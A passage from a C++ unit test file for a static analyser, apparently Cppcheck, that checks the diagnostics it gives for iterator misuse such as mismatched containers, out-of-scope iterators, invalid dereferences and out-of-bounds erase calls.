4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", 